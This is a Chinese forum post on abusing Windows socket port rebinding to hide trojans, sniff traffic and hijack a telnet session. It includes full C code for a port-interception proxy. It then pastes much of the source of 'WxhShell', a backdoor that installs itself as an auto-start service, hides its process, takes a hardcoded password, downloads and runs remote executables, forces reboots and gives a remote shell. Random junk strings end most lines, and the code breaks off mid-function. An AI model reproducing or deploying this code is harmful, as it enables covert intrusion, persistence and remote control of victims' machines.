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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: eyM<#3\\S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 244[a] %&;  
4gR;,%E\TO  
  saddr.sin_family = AF_INET; @k+&89@G  
+Tf4SJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  %XF>k)  
*'?aXS -'r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); bCa%$  
+( Q$GO%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 kZb #k#  
_?VMSu  
  这意味着什么?意味着可以进行如下的攻击: g:dtfa/]  
'dXGd.V7u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 K_SURTys  
3@}rO~  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }Gvu!a#R  
qdW"g$fW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *'i9  
{[I]pm~n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ey/{Z<D  
_%R]TlL  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 { l0[`"EF  
;!~&-I0l  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z]~) ->=}  
%XC3V7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 `[)!4Jb  
_^%DfMP3i\  
  #include S4ys)!V1V  
  #include T]_]{%z  
  #include ?)-#\z=6G  
  #include    \&8 61A;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #fGI#]SG?  
  int main() {s7 3(B"  
  { =)c^ik%F&  
  WORD wVersionRequested; C@o8C%o  
  DWORD ret; #Sc9&DfX  
  WSADATA wsaData;  i)!2DXn  
  BOOL val; z=FOymv C  
  SOCKADDR_IN saddr; [_BQ%7D U  
  SOCKADDR_IN scaddr; I4"(4u@P  
  int err;  `1`Qu!  
  SOCKET s; V|3^H^\5P  
  SOCKET sc; ,=IGqw  
  int caddsize; 7g7[a/Bts  
  HANDLE mt; >%\&tS'  
  DWORD tid;   M*gbA5  
  wVersionRequested = MAKEWORD( 2, 2 ); drwD3jx0xv  
  err = WSAStartup( wVersionRequested, &wsaData ); 6*&$ha}X  
  if ( err != 0 ) { F tS"vJ\  
  printf("error!WSAStartup failed!\n"); m[}@\y  
  return -1; -F$v`|(O+  
  } B?nw([4m  
  saddr.sin_family = AF_INET; Fp&tJ]=B.  
   UdOO+Z_K%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I/B*iW^  
yM2}J s C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w}qLI4  
  saddr.sin_port = htons(23); _LSp \{Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1w!O&kn  
  { jct|}U  
  printf("error!socket failed!\n"); agGgj>DDd  
  return -1; 8=MNzcA }  
  } |Vo{ {)  
  val = TRUE; VPr`[XPXb  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |!q,J  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) elGwS\sw  
  { -=W Qed}  
  printf("error!setsockopt failed!\n"); >bFrJz}  
  return -1; kXroFLrY  
  } L$z(&%Nx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OLZs}N+;]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h(K}N5`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ucYweXsO3  
B#;6z%WK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) q o6~)Aws  
  { &_$0lI DQ  
  ret=GetLastError(); Qv W vS9]  
  printf("error!bind failed!\n"); ";U#aK1p  
  return -1; ]~:WGo=_  
  } Sby(?yg  
  listen(s,2); 0N87G}Xu  
  while(1) k`((6  
  { Q~f mVWq  
  caddsize = sizeof(scaddr); Ge`PVwn  
  //接受连接请求 oZ_,WwnE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); LzQOzl@z  
  if(sc!=INVALID_SOCKET) 5AK@e|G$w  
  { -V&nlP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~l8w]R3A  
  if(mt==NULL) }nRTw2-z  
  { }X/>WiGh:  
  printf("Thread Creat Failed!\n"); Ye|(5f  
  break; Yosfk\D  
  } \iRmGvT  
  } W#@6e')d  
  CloseHandle(mt); j#jwK(:]  
  } 7?;ZE:  
  closesocket(s); / K(l[M  
  WSACleanup(); M`&78j  
  return 0; J9/EJ'My  
  }   Urz9S3#\  
  DWORD WINAPI ClientThread(LPVOID lpParam) Z<iK(?@O  
  { .L~ NX/V  
  SOCKET ss = (SOCKET)lpParam; dsn(h5,Q'  
  SOCKET sc; `&:>?Y/X2  
  unsigned char buf[4096]; SyI\ulmL  
  SOCKADDR_IN saddr; QM24cm T  
  long num; }` YtXD-o  
  DWORD val; R; ui 4wg6  
  DWORD ret; ZPG~@lU  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7_R[ =t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ?3%r:g4  
  saddr.sin_family = AF_INET; OFxCV`>ce  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j>?`N^  
  saddr.sin_port = htons(23); PLJDRp 2o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ..R JHa6B  
  { q`3HHq  
  printf("error!socket failed!\n"); A%cJ5dF8~  
  return -1; [Z2{S-)UM  
  } mM r$~^P:  
  val = 100; ^-Rqlr,F;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]XASim:A  
  { 'YJ~~o  
  ret = GetLastError(); _^g4/G#13c  
  return -1; IF  cre  
  } ]K'OH&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0RjFa;j  
  { z(u,$vZ _  
  ret = GetLastError(); r>}z|I'  
  return -1; D_?dy4\  
  } nsM. `s@V  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) rd;E /:`5  
  { *'*,mfk[  
  printf("error!socket connect failed!\n"); ;9Qxq]  
  closesocket(sc); |~@yXc5a  
  closesocket(ss); P!SsMo6n  
  return -1; $:yIe.F  
  } vJ{F)0 K  
  while(1) oE_*hp+  
  { v 8EI   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =w3cF)&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e)y+]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /#z"c]#  
  num = recv(ss,buf,4096,0); =te4p@  
  if(num>0) di(H-=9G62  
  send(sc,buf,num,0); 9{}"tk5$h  
  else if(num==0) k8!:`jG  
  break; ,rjl|F* T  
  num = recv(sc,buf,4096,0); +,g!xv4Q  
  if(num>0) o@hj.)u  
  send(ss,buf,num,0); E5 #ff5  
  else if(num==0) \<hHZS  
  break; LLFQ5py{  
  } * H~=dPC  
  closesocket(ss); Cd ]g+R}j  
  closesocket(sc); :*/g~y(fE  
  return 0 ; B6j/"x6N15  
  } A9KPU:  
Kf6 D)B 26  
YCVT0d  
========================================================== <(_Tanx9Q  
@r^s70{}  
下边附上一个代码,,WXhSHELL l$ kO%E'  
x:Q$1&3N  
========================================================== 3ZbqZ"rE  
&JYkh >  
#include "stdafx.h" N{}8Zh4op  
(J?_~(,`"  
#include <stdio.h> /bn$@Cy@  
#include <string.h> F2MC)&#  
#include <windows.h> q{%~(A5*H  
#include <winsock2.h> 5i}g$yjZ<  
#include <winsvc.h> Ly/  
#include <urlmon.h> 0176  
@FZ_[CYg  
#pragma comment (lib, "Ws2_32.lib") ~N/a\%`  
#pragma comment (lib, "urlmon.lib") t&p I  
XwfR/4  
#define MAX_USER   100 // 最大客户端连接数 >Q'*~S@v3  
#define BUF_SOCK   200 // sock buffer |#{ i7>2U  
#define KEY_BUFF   255 // 输入 buffer ;>/yY]F7  
XZS%az1%  
#define REBOOT     0   // 重启 ll[&O4.F  
#define SHUTDOWN   1   // 关机 cq5^7.  
yJ `{\7Uqg  
#define DEF_PORT   5000 // 监听端口 y>:U&P^  
^O =G%de  
#define REG_LEN     16   // 注册表键长度 cs _  
#define SVC_LEN     80   // NT服务名长度 M6 8foeeN  
L0I |V[  
// 从dll定义API <CJy3<$u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "',;pGg|K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); tSnsjd<6.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y(/5l   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =c$x xEDD  
"Bwmq9Jq  
// wxhshell配置信息 sxS%1hp3  
struct WSCFG { a#G3dY>  
  int ws_port;         // 监听端口 MBLDx sZ-  
  char ws_passstr[REG_LEN]; // 口令 6tjV^sjs  
  int ws_autoins;       // 安装标记, 1=yes 0=no #z70:-`.[M  
  char ws_regname[REG_LEN]; // 注册表键名 /fLm )vN  
  char ws_svcname[REG_LEN]; // 服务名 Um4DVg5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p-l FzNPc0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]d~{8h!G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 '/9q7?[E!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;;m;f^]}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D SWmQQ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G;J)[y  
rC]k'p2x  
}; s"J)Jc  
,t;US.s([.  
// default Wxhshell configuration DajN1}]  
struct WSCFG wscfg={DEF_PORT, )Z|G6H`c3  
    "xuhuanlingzhe", QN?EI: q=  
    1, xG(iSuz  
    "Wxhshell", ycwkF$7  
    "Wxhshell", \{!,a  
            "WxhShell Service", KK5_;<  
    "Wrsky Windows CmdShell Service", y"ss<`Cn  
    "Please Input Your Password: ", 3Ijs V5a  
  1, G,c2?^#n  
  "http://www.wrsky.com/wxhshell.exe", _~D#?cFY6  
  "Wxhshell.exe" -j2y#aP  
    }; Ml;` *;  
?=^\kXc[  
// 消息定义模块 q9PjQ%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w(z=xO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (+cZP&o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NZ0?0*  
char *msg_ws_ext="\n\rExit."; _<DOA:'v  
char *msg_ws_end="\n\rQuit."; e*}GQ  
char *msg_ws_boot="\n\rReboot..."; W'f"kM  
char *msg_ws_poff="\n\rShutdown..."; 4e;$+! dlV  
char *msg_ws_down="\n\rSave to "; {~j/sto-:  
Ww\ WuaY  
char *msg_ws_err="\n\rErr!"; +A^|aQ  
char *msg_ws_ok="\n\rOK!"; r b\t0tg  
2_6ON   
char ExeFile[MAX_PATH]; tZVs0eVF<  
int nUser = 0; q_ryW$/_  
HANDLE handles[MAX_USER]; $cc]Av4c2  
int OsIsNt; U 8p %MFD  
=yM%#{t&W  
SERVICE_STATUS       serviceStatus; 80 T2EN:$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lUA-ug! ^  
Bd)Cijr  
// 函数声明 $-~"G,;F  
int Install(void); ,nCvA%B!  
int Uninstall(void); #`f{\  
int DownloadFile(char *sURL, SOCKET wsh); ~b!la  
int Boot(int flag); W}2!~ep!  
void HideProc(void); 6O.kKhk  
int GetOsVer(void); [~RO9=;L  
int Wxhshell(SOCKET wsl); A%7f;&x!  
void TalkWithClient(void *cs); hW/Ve'x[  
int CmdShell(SOCKET sock); diVg|Z3T  
int StartFromService(void); H?a $o(  
int StartWxhshell(LPSTR lpCmdLine); 1E'PSq  
,!GoFu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3&5b!Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I{WP:]"Yf  
bd-iog(  
// 数据结构和表定义 | 5:2?S2R  
SERVICE_TABLE_ENTRY DispatchTable[] = o1?-+P/  
{ ;ND[+i2MN  
{wscfg.ws_svcname, NTServiceMain}, >SL mlK  
{NULL, NULL} p >ua{}!L  
}; -*~ @?  
W[a"&,okqO  
// 自我安装 sf[|8}(  
int Install(void) )G?\{n-  
{ pwS"BTZ  
  char svExeFile[MAX_PATH]; f-|zh#L  
  HKEY key; u*W! !(P/  
  strcpy(svExeFile,ExeFile); zJl;| E".  
*]h"J]  
// 如果是win9x系统,修改注册表设为自启动 2<p@G#(  
if(!OsIsNt) { k9<UDg_ Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _x3=i\O,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^);M}~  
  RegCloseKey(key); %n8CK->  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u0,QsD)_X0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )ZBNw{nh  
  RegCloseKey(key); \>}#[?y  
  return 0; zS|4@t\__  
    } Njr;Wa.r+  
  } <?}pCX/O  
} +:=FcsY  
else { <6Y;VH^_  
&Xh>w(u  
// 如果是NT以上系统,安装为系统服务 TU2oQ1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _KkaseR  
if (schSCManager!=0) W2fcY;HZ  
{ =3A4.nW  
  SC_HANDLE schService = CreateService XksI.]tfj  
  ( v_pe=LC{-e  
  schSCManager, +F60_O `  
  wscfg.ws_svcname, .boB b<  
  wscfg.ws_svcdisp, _G@Z n[v  
  SERVICE_ALL_ACCESS, rPyjr(I"_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iM;Btv[|  
  SERVICE_AUTO_START, GYiL}itD=3  
  SERVICE_ERROR_NORMAL, 2p#d  
  svExeFile, &z5?]`ALu  
  NULL, S5, u| H  
  NULL, ebNRZJ?C,  
  NULL, `w`N5 !  
  NULL, <nG}]Smd7  
  NULL o#1Ta7Ro  
  ); &"gX 7cK8  
  if (schService!=0) U<=d@knH  
  { w+)wrJTtm  
  CloseServiceHandle(schService); cn/&QA"  
  CloseServiceHandle(schSCManager); ~6Fh,S1?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5mpql[v3P  
  strcat(svExeFile,wscfg.ws_svcname); EW vhT]<0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +HRtuRv0T  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \}u/0UF97  
  RegCloseKey(key); (Cq 38~mR  
  return 0; ?wv3HN  
    } yufw}Lo-  
  } +J;b3UE#  
  CloseServiceHandle(schSCManager); qC"`i}7  
} 6^V( C;5!  
} =uNc\a(  
$joGda  
return 1; &qSf ~7/  
} YQFz6#Ew  
<YEKbnw$o  
// 自我卸载 O-)[!8r  
int Uninstall(void) wb(S7OsMO  
{ QRKP;aYt  
  HKEY key; E<u(Yw6=  
IDw`k[k  
if(!OsIsNt) { z"\w9 @W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &{glwVKV  
  RegDeleteValue(key,wscfg.ws_regname); Qbjm,>H/^  
  RegCloseKey(key); qLb~^'<iD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \b"|p%CL8  
  RegDeleteValue(key,wscfg.ws_regname); Qjnh;uBO  
  RegCloseKey(key); IA Ma  
  return 0; 2Q]W  
  } '%ZKvZ-  
} _Li.}g@Bd  
} S^|`*%pq  
else { qzA_ ~=g  
k}E_1_S(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0F![<5X  
if (schSCManager!=0) I+.U.e^gx  
{ LEtGrA/%@b  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l59 N0G  
  if (schService!=0) }a, ycFt  
  { 7G;1n0m-T  
  if(DeleteService(schService)!=0) { ml^=y~J[  
  CloseServiceHandle(schService); $M0l (htR  
  CloseServiceHandle(schSCManager); y4|<+9<7  
  return 0; ^'tT_ gT  
  } I~YV&12  
  CloseServiceHandle(schService); `uk=2k}&m  
  } GYb&'#F~t  
  CloseServiceHandle(schSCManager); _unoDoB  
} cpw=2vnD  
} ;Gn>W+Ae M  
4I2:"CK06  
return 1; G4'Ee5(o  
} YIZu{  
O`%F{&;29  
// 从指定url下载文件 -bdWG]w"  
int DownloadFile(char *sURL, SOCKET wsh) 2vG X\W% 3  
{ fibudkg'>  
  HRESULT hr; b&4JHyleF  
char seps[]= "/"; OvwoU=u  
char *token; )CE]s)6+2  
char *file; Wf5;~RJC?  
char myURL[MAX_PATH]; 8mRZ(B>% X  
char myFILE[MAX_PATH]; V6_":L"!  
>?ar  
strcpy(myURL,sURL);  q"T?  
  token=strtok(myURL,seps); na9YlJ\  
  while(token!=NULL) 4ME$Z>eN  
  { fH_l2b[-3@  
    file=token; ;r6YIS4@  
  token=strtok(NULL,seps); q27q/q8  
  } `EvO^L   
<o3I<ci6  
GetCurrentDirectory(MAX_PATH,myFILE); FJ!`[.t1AU  
strcat(myFILE, "\\"); M;3q.0MU  
strcat(myFILE, file); !T:7xEr  
  send(wsh,myFILE,strlen(myFILE),0); [4YRyx&:++  
send(wsh,"...",3,0); No[9m_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5izpQ'>  
  if(hr==S_OK) m*jE\+)=^  
return 0; T]1.":   
else )=#Js<&3:  
return 1; B:UPSX)A  
%uV,p!| )  
} :6)!#q'g  
\nuz l   
// 系统电源模块 3_boEYl0  
int Boot(int flag) X6$Cd]MN  
{ HOH5_E>d  
  HANDLE hToken; ;=^J_2ls  
  TOKEN_PRIVILEGES tkp; "SQyy  
NJd4( P  
  if(OsIsNt) { gp 11/ .  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q7F4OS5b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HGh)d` 8  
    tkp.PrivilegeCount = 1; e]; IQ|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e&8Meiv+d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NRP) 'E  
if(flag==REBOOT) {  lFcHE c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A/}[Z\C  
  return 0; }2*qv4},!  
} !blGc$kC  
else { L[Y$ `e{zd  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XUR#|  
  return 0; &YD+ s%OL  
} ;O~FiA~`c  
  } >0 o[@gJl  
  else { 5%V(eR  
if(flag==REBOOT) { hv>Xr=RE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^{0*?,-x  
  return 0; jpR]V86G  
} ,aP5)ZN-  
else { U Rq9:{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fU%Ys9:wU  
  return 0; };"_Ku4#-  
} QZ7W:%r(4  
} Xa ;wx3]t  
"7Kw]8mRR  
return 1; &"T7KXx  
} IIXA)b!  
!H c6$  
// win9x进程隐藏模块 &6Lh>n(  
void HideProc(void) ^b$G.h{o!E  
{ A(BjU:D(Oj  
Y:Lkh>S1Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =x(k)RTDu  
  if ( hKernel != NULL ) ^c.pvC"4j  
  { rP"Y.;s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y/_=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <~v4BiQ3l^  
    FreeLibrary(hKernel); Pd d(1K*  
  } 3^q9ll7Op  
l6xqc,h!K  
return; N~`r;E  
} F >n_k  
Y4,p_6aKJ]  
// 获取操作系统版本 _Fv6S}~Q  
int GetOsVer(void) Oo(xYy  
{ 4z~;4   
  OSVERSIONINFO winfo; [rAi9LSO"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XknNb{. r  
  GetVersionEx(&winfo); .Q@]+&`|}i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F>[^m Xw  
  return 1; 9aIv|cS?  
  else Q($@{[lT  
  return 0; \ E5kpm  
} ErsJWp  
:(3'"^_NA  
// 客户端句柄模块 + <w6sPm  
int Wxhshell(SOCKET wsl) i^ILo,Q  
{ &,l7wK  
  SOCKET wsh; " ~6&rt  
  struct sockaddr_in client; gr.G']9lNq  
  DWORD myID; sMJa4P>O@  
#%OS=.V  
  while(nUser<MAX_USER) v!<FeLW  
{ -{d(~XIo  
  int nSize=sizeof(client); f1o^:}5x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SjJ$Oinc  
  if(wsh==INVALID_SOCKET) return 1; *(i%\  
_x!/40^G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }I`o%GL  
if(handles[nUser]==0) *(/b{!~  
  closesocket(wsh); 4{6,Sx  
else o ?.VW/"  
  nUser++; /9P7;1?  
  } _wW"Tn]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $mf6!p4  
ci 22fw0  
  return 0; !@ AnwV]  
} F<2gM#jLB  
O0pXHXSAL  
// 关闭 socket *8%uXkMm  
void CloseIt(SOCKET wsh) 56NDU>j$  
{ 7s:cg  
closesocket(wsh); 2AxKB+c1`  
nUser--; a~-k} G5  
ExitThread(0); SST@   
} ^tjM1uaZ5(  
(0?FZ.9%  
// 客户端请求句柄 2U+Fa t@  
void TalkWithClient(void *cs) i8R 2Y9Q*O  
{ lq  Av  
Nlc3S+$`z  
  SOCKET wsh=(SOCKET)cs; NcSi%]  
  char pwd[SVC_LEN]; .)FFl  
  char cmd[KEY_BUFF]; 'Q*lp!2>  
char chr[1]; XwU1CejP0  
int i,j; n4+ ^f~Y  
/>PH{ l  
  while (nUser < MAX_USER) { 8N#.@\'kz.  
>7W8_6sC<  
if(wscfg.ws_passstr) { Gh%dVP9B@P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Xv."L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |oR{c%z05  
  //ZeroMemory(pwd,KEY_BUFF); brF) %x`  
      i=0; nnd-d+$  
  while(i<SVC_LEN) { y,<\d/YY@  
YQO9$g0% ~  
  // 设置超时 \[B#dw#  
  fd_set FdRead; HXqG;Fds(  
  struct timeval TimeOut; b|@f!lA  
  FD_ZERO(&FdRead); s cd}{Y  
  FD_SET(wsh,&FdRead); 3%N!omAe  
  TimeOut.tv_sec=8; N{!@M_C^%R  
  TimeOut.tv_usec=0;  10_@'N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Nlm3RxSn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }:b) =fs  
c^,8eb7c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %IUTi6P l  
  pwd=chr[0]; 6WLq>Jo  
  if(chr[0]==0xd || chr[0]==0xa) { de"+ABR  
  pwd=0; ?U~`'^@  
  break; P>*`<$FR  
  } 79'N/:.  
  i++; {E1^Wn1M  
    } dJ{'b '#  
<Lq.J`|+  
  // 如果是非法用户,关闭 socket 9\6ZdnEKu,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f kdJgK  
} %b ^.Gw\L  
xw1n;IO4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !OR %AdxB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0'`#I  
nh"LdHqiDB  
while(1) { %#lJn.o  
j5 W)9HW:  
  ZeroMemory(cmd,KEY_BUFF); {w9GMqq  
vH?3UW  
      // 自动支持客户端 telnet标准   YJ01-  
  j=0; >#xIqxV,  
  while(j<KEY_BUFF) { 0VI[6t@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E-$N!KY  
  cmd[j]=chr[0]; "Za'K+4  
  if(chr[0]==0xa || chr[0]==0xd) { 2wYY0=k2  
  cmd[j]=0; =G1 5 eZW  
  break; D}pN sQ  
  } gBy7 q09r  
  j++; ;J?zD9  
    } .+`Z:{:BC&  
1jj.oa]  
  // 下载文件 +"[}gss!@  
  if(strstr(cmd,"http://")) { gG,gL 9o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  'v&f  
  if(DownloadFile(cmd,wsh)) 7{u1ynt   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); xJE26i  
  else =>)4>WT8A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /p[lOg  
  } Sh o] ~)XX  
  else { t1]sv VX,w  
?Ns aZ  
    switch(cmd[0]) { uhr&P4EW  
  T_4y;mf!@O  
  // 帮助 rqi|8gKY  
  case '?': { 9$N~OZ;-*x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?_G?SQ  
    break; qMmhmH)Gp  
  } zVtNT@1K>u  
  // 安装 tc)4$"9)  
  case 'i': { VrZ6m  
    if(Install()) ?\T):o;/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?h|w7/9  
    else gn4 Sz")  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N51RBA  
    break; VaFv%%w  
    } K<D=QweOon  
  // 卸载 EN@Pr `R  
  case 'r': { Kd^,NAg  
    if(Uninstall()) P }$DCD<$U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZklZU,\!|v  
    else %0^taA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ch:0qgJ  
    break; v.e~m2u_F  
    } UhF+},gU  
  // 显示 wxhshell 所在路径 =%G<S'2'  
  case 'p': { )|i]"8I  
    char svExeFile[MAX_PATH]; ADVHi3b  
    strcpy(svExeFile,"\n\r"); P{h$> 6c  
      strcat(svExeFile,ExeFile); W .bJ.hO*  
        send(wsh,svExeFile,strlen(svExeFile),0); SXm Hn.?  
    break; '?v-o)X  
    } HP eN0=7>  
  // 重启 81 /t)Cp  
  case 'b': { -JB~yO?0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a?X{k|;!7u  
    if(Boot(REBOOT)) M}b[;/~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zjkrne{  
    else { @G>Q(a*,  
    closesocket(wsh); "ll TVB  
    ExitThread(0); r4FGz!U  
    } Umt?COc  
    break; 4?cIn4}  
